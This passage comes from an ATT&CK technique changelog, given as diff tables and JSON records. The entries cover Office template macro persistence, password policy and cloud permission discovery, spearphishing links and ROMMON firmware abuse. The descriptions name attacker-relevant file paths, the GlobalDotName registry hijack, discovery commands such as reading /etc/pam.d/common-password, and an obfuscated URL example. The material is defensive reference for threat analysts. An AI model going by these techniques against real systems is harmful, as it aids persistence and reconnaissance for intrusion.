| > | s templates that are part of common Office applications and | > | s templates that are part of common Office applications and | ||
| > | are used to customize styles. The base templates within the | > | are used to customize styles. The base templates within the | ||
| > | application are used each time an application starts. (Citat | > | application are used each time an application starts.(Citati | ||
| > | ion: Microsoft Change Normal Template) Office Visual Basic | > | on: Microsoft Change Normal Template) Office Visual Basic f | ||
| > | for Applications (VBA) macros (Citation: MSDN VBA in Office) | > | or Applications (VBA) macros(Citation: MSDN VBA in Office) c | ||
| > | can be inserted into the base template and used to execute | > | an be inserted into the base template and used to execute co | ||
| > | code when the respective Office application starts in order | > | de when the respective Office application starts in order to | ||
| > | to obtain persistence. Examples for both Word and Excel have | > | obtain persistence. Examples for both Word and Excel have b | ||
| > | been discovered and published. By default, Word has a Norma | > | een discovered and published. By default, Word has a Normal. | ||
| > | l.dotm template created that can be modified to include a ma | > | dotm template created that can be modified to include a mali | ||
| > | licious macro. Excel does not have a template file created b | > | cious macro. Excel does not have a template file created by | ||
| > | y default, but one can be added that will automatically be l | > | default, but one can be added that will automatically be loa | ||
| > | oaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn O | > | ded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Off | ||
| > | ffice Template Macros) Shared templates may also be stored a | > | ice Template Macros) Shared templates may also be stored and | ||
| > | nd pulled from remote locations.(Citation: GlobalDotName Jun | > | pulled from remote locations.(Citation: GlobalDotName Jun 2 | ||
| > | 2019) Word Normal.dotm location:<br> <code>C:\\Users\\<u | > | 019) Word Normal.dotm location:<br> <code>C:\\Users\\<use | ||
| > | sername>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm< | > | rname>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</c | ||
| > | /code> Excel Personal.xlsb location:<br> <code>C:\\Users\\< | > | ode> Excel Personal.xlsb location:<br> <code>C:\\Users\\<u | ||
| > | ;username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSON | > | sername>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL | ||
| > | AL.XLSB</code> Adversaries may also change the location of | > | .XLSB</code> Adversaries may also change the location of th | ||
| > | the base template to point to their own by hijacking the app | > | e base template to point to their own by hijacking the appli | ||
| > | lication's search order, e.g. Word 2016 will first look for | > | cation's search order, e.g. Word 2016 will first look for No | ||
| > | Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Off | > | rmal.dotm under <code>C:\\Program Files (x86)\\Microsoft Offic | ||
| > | ice\\root\\Office16\\</code>, or by modifying the GlobalDotName | > | e\\root\\Office16\\</code>, or by modifying the GlobalDotName r | ||
| > | registry key. By modifying the GlobalDotName registry key a | > | egistry key. By modifying the GlobalDotName registry key an | ||
| > | n adversary can specify an arbitrary location, file name, an | > | adversary can specify an arbitrary location, file name, and | ||
| > | d file extension to use for the template that will be loaded | > | file extension to use for the template that will be loaded o | ||
| > | on application startup. To abuse GlobalDotName, adversaries | > | n application startup. To abuse GlobalDotName, adversaries m | ||
| > | may first need to register the template as a trusted docume | > | ay first need to register the template as a trusted document | ||
| > | nt or place it in a trusted location.(Citation: GlobalDotNam | > | or place it in a trusted location.(Citation: GlobalDotName | ||
| > | e Jun 2019) An adversary may need to enable macros to exec | > | Jun 2019) An adversary may need to enable macros to execut | ||
| > | ute unrestricted depending on the system or enterprise secur | > | e unrestricted depending on the system or enterprise securit | ||
| > | ity policy on use of macros. | > | y policy on use of macros. |
net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS.(Citation: AWS GetPasswordPolicy)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1201",
"external_id": "T1201"
},
{
"source_name": "AWS GetPasswordPolicy",
"description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.",
"url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
},
{
"source_name": "Jamf User Password Policies",
"description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
"url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
},
{
"source_name": "Superuser Linux Password Policies",
"description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
"url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Regina Elwell",
"Sudhanshu Chauhan, @Sudhanshu_C",
"Isif Ibrahima, Mandiant",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"IaaS",
"Network Devices",
"Identity Provider",
"SaaS",
"Office Suite"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:17:41.090000+00:00\", \"old_value\": \"2025-10-24 17:49:15.781000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\\n\\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS.(Citation: AWS GetPasswordPolicy)\", \"old_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\\n\\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n+Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n \\n-Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\\n+Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\\n \\n-Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\\n+Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS.(Citation: AWS GetPasswordPolicy)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.7",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access detailed information about | t | 1 | Adversaries may attempt to access detailed information about |
| > | the password policy used within an enterprise network or cl | > | the password policy used within an enterprise network or cl | ||
| > | oud environment. Password policies are a way to enforce comp | > | oud environment. Password policies are a way to enforce comp | ||
| > | lex passwords that are difficult to guess or crack through [ | > | lex passwords that are difficult to guess or crack through [ | ||
| > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | ||
| > | s information may help the adversary to create a list of com | > | s information may help the adversary to create a list of com | ||
| > | mon passwords and launch dictionary and/or brute force attac | > | mon passwords and launch dictionary and/or brute force attac | ||
| > | ks which adheres to the policy (e.g. if the minimum password | > | ks which adhere to the policy (e.g. if the minimum password | ||
| > | length should be 8, then not trying passwords such as 'pass | > | length should be 8, then not trying passwords such as 'pass1 | ||
| > | 123'; not checking for more than 3-4 passwords per account i | > | 23'; not checking for more than 3-4 passwords per account if | ||
| > | f the lockout is set to 6 as to not lock out accounts). Pas | > | the lockout is set to 6 as to not lock out accounts). Pass | ||
| > | sword policies can be set and discovered on Windows, Linux, | > | word policies can be set and discovered on Windows, Linux, a | ||
| > | and macOS systems via various command shell utilities such a | > | nd macOS systems via various command shell utilities such as | ||
| > | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | > | <code>net accounts (/domain)</code>, <code>Get-ADDefaultDom | ||
| > | mainPasswordPolicy</code>, <code>chage -l <username></code>, | > | ainPasswordPolicy</code>, <code>chage -l <username></code>, | ||
| > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpol | ||
| > | licy getaccountpolicies</code> (Citation: Superuser Linux Pa | > | icy getaccountpolicies</code>.(Citation: Superuser Linux Pas | ||
| > | ssword Policies) (Citation: Jamf User Password Policies). Ad | > | sword Policies)(Citation: Jamf User Password Policies) Adver | ||
| > | versaries may also leverage a [Network Device CLI](https://a | > | saries may also leverage a [Network Device CLI](https://atta | ||
| > | ttack.mitre.org/techniques/T1059/008) on network devices to | > | ck.mitre.org/techniques/T1059/008) on network devices to dis | ||
| > | discover password policy information (e.g. <code>show aaa</c | > | cover password policy information (e.g. <code>show aaa</code | ||
| > | ode>, <code>show aaa common-criteria policy all</code>).(Cit | > | >, <code>show aaa common-criteria policy all</code>).(Citati | ||
| > | ation: US-CERT-TA18-106A) Password policies can be discover | > | on: US-CERT-TA18-106A) Password policies can be discovered | ||
| > | ed in cloud environments using available APIs such as <code> | > | in cloud environments using available APIs such as <code>Get | ||
| > | GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPas | > | AccountPasswordPolicy</code> in AWS.(Citation: AWS GetPasswo | ||
| > | swordPolicy). | > | rdPolicy) |
Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069/003",
"external_id": "T1069.003"
},
{
"source_name": "AWS Get Bucket ACL",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
},
{
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
},
{
"source_name": "Black Hills Red Teaming MS AD Azure, 2018",
"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
"url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
},
{
"source_name": "Google Cloud Identity API Documentation",
"description": "Google. (n.d.). Retrieved March 16, 2021.",
"url": "https://cloud.google.com/identity/docs/reference/rest"
},
{
"source_name": "Microsoft AZ CLI",
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"source_name": "Microsoft Msolrole",
"description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
},
{
"source_name": "GitHub Raindance",
"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
"url": "https://github.com/True-Demon/raindance"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Regina Elwell",
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS",
"IaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:22:50.797000+00:00\", \"old_value\": \"2026-08-04 20:30:53.932000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\", \"old_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n \\n-With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n+With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n \\n Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n \\n-Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\\n+Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\"}}}",
"previous_version": "1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts (Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | > | : GitHub Raindance) Azure CLI (AZ CLI) and the Google Cloud | ||
| > | d Identity Provider API also provide interfaces to obtain pe | > | Identity Provider API also provide interfaces to obtain per | ||
| > | rmissions groups. The command <code>az ad user get-member-gr | > | missions groups. The command <code>az ad user get-member-gro | ||
| > | oups</code> will list groups associated to a user account fo | > | ups</code> will list groups associated to a user account for | ||
| > | r Azure while the API endpoint <code>GET https://cloudidenti | > | Azure while the API endpoint <code>GET https://cloudidentit | ||
| > | ty.googleapis.com/v1/groups</code> lists group resources ava | > | y.googleapis.com/v1/groups</code> lists group resources avai | ||
| > | ilable to a user for Google.(Citation: Microsoft AZ CLI)(Cit | > | lable to a user for Google.(Citation: Microsoft AZ CLI)(Cita | ||
| > | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | > | tion: Black Hills Red Teaming MS AD Azure, 2018)(Citation: G | ||
| > | Google Cloud Identity API Documentation) In AWS, the command | > | oogle Cloud Identity API Documentation) In AWS, the commands | ||
| > | s `ListRolePolicies` and `ListAttachedRolePolicies` allow us | > | `ListRolePolicies` and `ListAttachedRolePolicies` allow use | ||
| > | ers to enumerate the policies attached to a role.(Citation: | > | rs to enumerate the policies attached to a role.(Citation: P | ||
| > | Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022 | > | alo Alto Unit 42 Compromised Cloud Compute Credentials 2022) | ||
| > | ) Adversaries may attempt to list ACLs for objects to deter | > | Adversaries may attempt to list ACLs for objects to determ | ||
| > | mine the owner and other accounts with access to the object, | > | ine the owner and other accounts with access to the object, | ||
| > | for example, via the AWS <code>GetBucketAcl</code> API (Cit | > | for example, via the AWS <code>GetBucketAcl</code> API.(Cita | ||
| > | ation: AWS Get Bucket ACL). Using this information an advers | > | tion: AWS Get Bucket ACL) Using this information an adversar | ||
| > | ary can target accounts with permissions to a given object o | > | y can target accounts with permissions to a given object or | ||
| > | r leverage accounts they have already compromised to access | > | leverage accounts they have already compromised to access th | ||
| > | the object. | > | e object. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Spea | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | rphishing may also involve social engineering techniques, su | > | rphishing may also involve social engineering techniques, su | ||
| > | ch as posing as a trusted source. All forms of spearphishin | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | g are electronically delivered social engineering targeted a | > | g are electronically delivered social engineering targeted a | ||
| > | t a specific individual, company, or industry. In this case, | > | t a specific individual, company, or industry. In this case, | ||
| > | the malicious emails contain links. Generally, the links wi | > | the malicious emails contain links. Generally, the links wi | ||
| > | ll be accompanied by social engineering text and require the | > | ll be accompanied by social engineering text and require the | ||
| > | user to actively click or copy and paste a URL into a brows | > | user to actively click or copy and paste a URL into a brows | ||
| > | er, leveraging [User Execution](https://attack.mitre.org/tec | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204). The visited website may compromise the web b | > | hniques/T1204). The visited website may compromise the web b | ||
| > | rowser using an exploit, or the user will be prompted to dow | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | nload applications, documents, zip files, or even executable | > | nload applications, documents, zip files, or even executable | ||
| > | s depending on the pretext for the email in the first place. | > | s depending on the pretext for the email in the first place. | ||
| > | Adversaries may also include links that are intended to in | > | Adversaries may also include links that are intended to in | ||
| > | teract directly with an email reader, including embedded ima | > | teract directly with an email reader, including embedded ima | ||
| > | ges intended to exploit the end system directly. Additionall | > | ges intended to exploit the end system directly. Additionall | ||
| > | y, adversaries may use seemingly benign links that abuse spe | > | y, adversaries may use seemingly benign links that abuse spe | ||
| > | cial characters to mimic legitimate websites (known as an \"I | > | cial characters to mimic legitimate websites (known as an \"I | ||
| > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | ||
| > | also be obfuscated by taking advantage of quirks in the URL | > | also be obfuscated by taking advantage of quirks in the URL | ||
| > | schema, such as the acceptance of integer- or hexadecimal-b | > | schema, such as the acceptance of integer- or hexadecimal-b | ||
| > | ased hostname formats and the automatic discarding of text b | > | ased hostname formats and the automatic discarding of text b | ||
| > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | ||
| > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also utilize links to perform consent phishing/spearphis | > | may also utilize links to perform consent phishing/spearphis | ||
| > | hing campaigns to [Steal Application Access Token](https://a | > | hing campaigns to [Steal Application Access Token](https://a | ||
| > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | ||
| > | ss to the victim environment. For example, a user may be lur | > | ss to the victim environment. For example, a user may be lur | ||
| > | ed into granting adversaries permissions/access via a malici | > | ed into granting adversaries permissions/access via a malici | ||
| > | ous OAuth 2.0 request URL that when accepted by the user pro | > | ous OAuth 2.0 request URL that when accepted by the user pro | ||
| > | vide permissions/access for malicious applications.(Citation | > | vides permissions/access for malicious applications.(Citatio | ||
| > | : Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu | > | n: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OA | ||
| > | th 2.0 Consent Phishing 2021) These stolen access tokens all | > | uth 2.0 Consent Phishing 2021) These stolen access tokens al | ||
| > | ow the adversary to perform various actions on behalf of the | > | low the adversary to perform various actions on behalf of th | ||
| > | user via API calls.(Citation: Microsoft OAuth 2.0 Consent P | > | e user via API calls.(Citation: Microsoft OAuth 2.0 Consent | ||
| > | hishing 2021) Similarly, malicious links may also target de | > | Phishing 2021) Similarly, malicious links may also target d | ||
| > | vice-based authorization, such as OAuth 2.0 device authoriza | > | evice-based authorization, such as OAuth 2.0 device authoriz | ||
| > | tion grant flow which is typically used to authenticate devi | > | ation grant flow which is typically used to authenticate dev | ||
| > | ces without UIs/browsers. Known as \u201cdevice code phishing,\u201d a | > | ices without UIs/browsers. Known as \u201cdevice code phishing,\u201d | ||
| > | n adversary may send a link that directs the victim to a mal | > | an adversary may send a link that directs the victim to a ma | ||
| > | icious authorization page where the user is tricked into ent | > | licious authorization page where the user is tricked into en | ||
| > | ering a code/credentials that produces a device token.(Citat | > | tering a code/credentials that produces a device token.(Cita | ||
| > | ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko | > | tion: SecureWorks Device Code Phishing 2021)(Citation: Netsk | ||
| > | pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph | > | ope Device Code Phishing 2021)(Citation: Optiv Device Code P | ||
| > | ishing 2021) | > | hishing 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the ROM Monitor (ROMMON) by loading an | t | 1 | Adversaries may abuse the ROM Monitor (ROMMON) by loading an |
| > | unauthorized firmware with adversary code to provide persis | > | unauthorized firmware with adversary code to provide persis | ||
| > | tent access and manipulate device behavior that is difficult | > | tent access and manipulate device behavior that is difficult | ||
| > | to detect. (Citation: Cisco Synful Knock Evolution)(Citatio | > | to detect.(Citation: Cisco Synful Knock Evolution)(Citation | ||
| > | n: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco net | > | : Cisco Blog Legacy Device Attacks) ROMMON is a Cisco netw | ||
| > | work device firmware that functions as a boot loader, boot i | > | ork device firmware that functions as a boot loader, boot im | ||
| > | mage, or boot helper to initialize hardware and software whe | > | age, or boot helper to initialize hardware and software when | ||
